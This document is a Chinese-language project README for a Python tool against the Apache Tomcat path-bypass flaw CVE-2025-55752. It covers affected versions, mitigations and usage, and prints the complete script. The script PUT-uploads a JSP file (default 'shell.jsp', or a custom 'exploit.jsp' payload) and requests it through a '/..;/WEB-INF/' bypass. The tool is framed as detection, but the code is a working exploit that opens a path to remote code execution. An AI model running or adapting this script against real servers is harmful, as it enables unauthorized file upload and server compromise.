CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具项目描述本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门Rewrite Valve与规范化处理存在缺陷导致攻击者可以绕过路径保护机制访问或上传文件到受保护目录如/WEB-INF/。如果服务器启用了 HTTP PUT 方法此漏洞可能导致远程代码执行RCE。功能特性漏洞检测自动化检测目标 Tomcat 服务器是否存在路径绕过漏洞文件上传测试支持通过 HTTP PUT 方法上传测试文件到目标服务器路径绕过验证利用..;序列绕过 URL 规范化检查验证对受保护目录的访问灵活配置支持自定义上传文件名和 payload 内容SSL 选项提供 SSL 证书验证的开关选项独立检查模式支持仅进行路径绕过检查而不上传文件安装指南系统要求Python 3.xrequests库安装步骤克隆或下载脚本文件gitclonerepository-urlcdCVE-2025-55752安装必要的 Python 依赖pipinstallrequests urllib3可选配置环境确保 Python 环境已正确配置如有代理需求请配置相应的网络设置使用说明基本用法1. 仅检查路径绕过漏洞python3 CVE-2025-55752.py http://target:8080 --check此命令仅测试目标服务器是否存在路径绕过漏洞不进行文件上传。2. 完整漏洞检测包含上传和验证python3 CVE-2025-55752.py http://target:8080此命令将尝试上传一个测试 JSP 文件并验证是否能通过路径绕过访问该文件。3. 自定义文件名和 payloadpython3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload% out.println(PWNED); %使用自定义的文件名和 payload 内容进行测试。4. 禁用 SSL 证书验证python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify对于使用自签名证书的 HTTPS 目标使用此选项禁用 SSL 验证。参数说明url目标服务器的基础 URL必需需包含http://或https://--filename上传的文件名默认为shell.jsp--payload上传的文件内容默认为% out.println(Bypassed!); %--check仅检查路径绕过不进行文件上传--no-ssl-verify禁用 SSL 证书验证输出说明[]表示成功或发现漏洞[-]表示失败或未发现漏洞[!]表示发生错误核心代码1. 主程序入口与参数解析defmain():parserargparse.ArgumentParser(descriptionCVE-2025-55752 Exploit Detection Tool)parser.add_argument(url,helpTarget base URL (e.g., http://127.0.0.1:8080))parser.add_argument(--filename,defaultshell.jsp,helpFilename to upload (default: shell.jsp))parser.add_argument(--payload,default% out.println(\Bypassed!\); %,helpPayload content to upload)parser.add_argument(--check,actionstore_true,helpOnly check for path bypass without uploading)parser.add_argument(--no-ssl-verify,actionstore_true,helpDisable SSL certificate verification)argsparser.parse_args()print(BANNER)verify_sslnotargs.no_ssl_verifyifnotargs.url.startswith(http):print([-] Please include http:// or https:// in the URL)sys.exit(1)ifargs.check:check_access(args.url,f/WEB-INF/{args.filename},verify_ssl)else:uploaded_pathattempt_put_upload(args.url,args.filename,args.payload,verify_ssl)ifuploaded_path:check_access(args.url,f/WEB-INF/{args.filename},verify_ssl)if__name____main__:main()代码说明使用argparse模块解析命令行参数验证 URL 格式确保包含协议头根据--check参数选择执行模式仅检查或完整测试控制 SSL 验证开关2. 文件上传函数defattempt_put_upload(target,filename,payload,verify_ssl):upload_pathf/{filename}urlf{target}{upload_path}try:print(f[] Attempting to upload payload to:{url})responserequests.put(url,datapayload,verifyverify_ssl,timeout10)ifresponse.status_codein[200,201,204]:print(f[] Upload successful! Response code:{response.status_code})returnupload_pathelse:print(f[-] Upload failed! Response code:{response.status_code})returnNoneexceptExceptionase:print(f[!] Upload error:{e})returnNone代码说明使用 HTTP PUT 方法上传文件到目标服务器构造完整的上传 URL检查响应状态码200/201/204 表示上传成功添加超时设置防止长时间等待异常处理确保程序稳定性3. 路径绕过检查函数defcheck_access(target,path,verify_ssl):bypass_pathf/..;{path}urlf{target}{bypass_path}try:print(f[] Checking access to:{url})responserequests.get(url,verifyverify_ssl,timeout10)ifresponse.status_code200:print([] Bypass successful! Target may be vulnerable.)returnTrueelse:print(f[-] Access denied or not vulnerable (HTTP{response.status_code}).)returnFalseexceptExceptionase:print(f[!] Access check error:{e})returnFalse代码说明利用..;序列构造路径绕过 URL使用 HTTP GET 方法尝试访问受保护路径响应状态码 200 表示绕过成功目标可能存在漏洞添加详细的日志输出便于调试和分析4. 初始化与安全设置importrequestsimportargparseimporturllib3importsysfromurllib.parseimportquote urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)BANNER CVE-2025-55752 Tomcat Path Bypass Upload Detection Script This tool attempts to exploit a Rewrite Valve normalization bypass to upload a test JSP file into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752. 代码说明导入必要的 Python 模块禁用 SSL 警告避免输出干扰定义工具横幅显示工具名称和功能介绍使用urllib.parse.quote预备 URL 编码功能虽未在代码中直接使用但为扩展功能预留受影响版本Tomcat 分支受影响版本11.x11.0.0-M1 至 11.0.1010.1.x10.1.0-M1 至 10.1.449.0.x9.0.0-M11 至 9.0.1088.5.x8.5.6 至 8.5.100建议升级到已修复的版本11.0.11、10.1.45 或 9.0.109 及以上版本。漏洞原理CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞当重写规则将查询参数映射到 URL 时URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列如..;绕过内部保护机制访问受限制的目录如/WEB-INF/或/META-INF/。如果服务器启用了 HTTP PUT 方法攻击者可能上传恶意文件并实现远程代码执行。安全建议立即升级将受影响的 Tomcat 版本升级到已修复的版本禁用 HTTP PUT除非必要否则应禁用 HTTP PUT 方法加强重写规则对重写规则中的输入进行严格验证和清理访问控制加强受保护目录的访问控制监控日志监控服务器日志检测可疑的路径遍历或文件上传请求FINISHED6HFtX5dABrKlqXeO5PUv/84SoIoTE3firf/5vX8AZ6xNbDhtNlxQOQyXUFbeFK更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享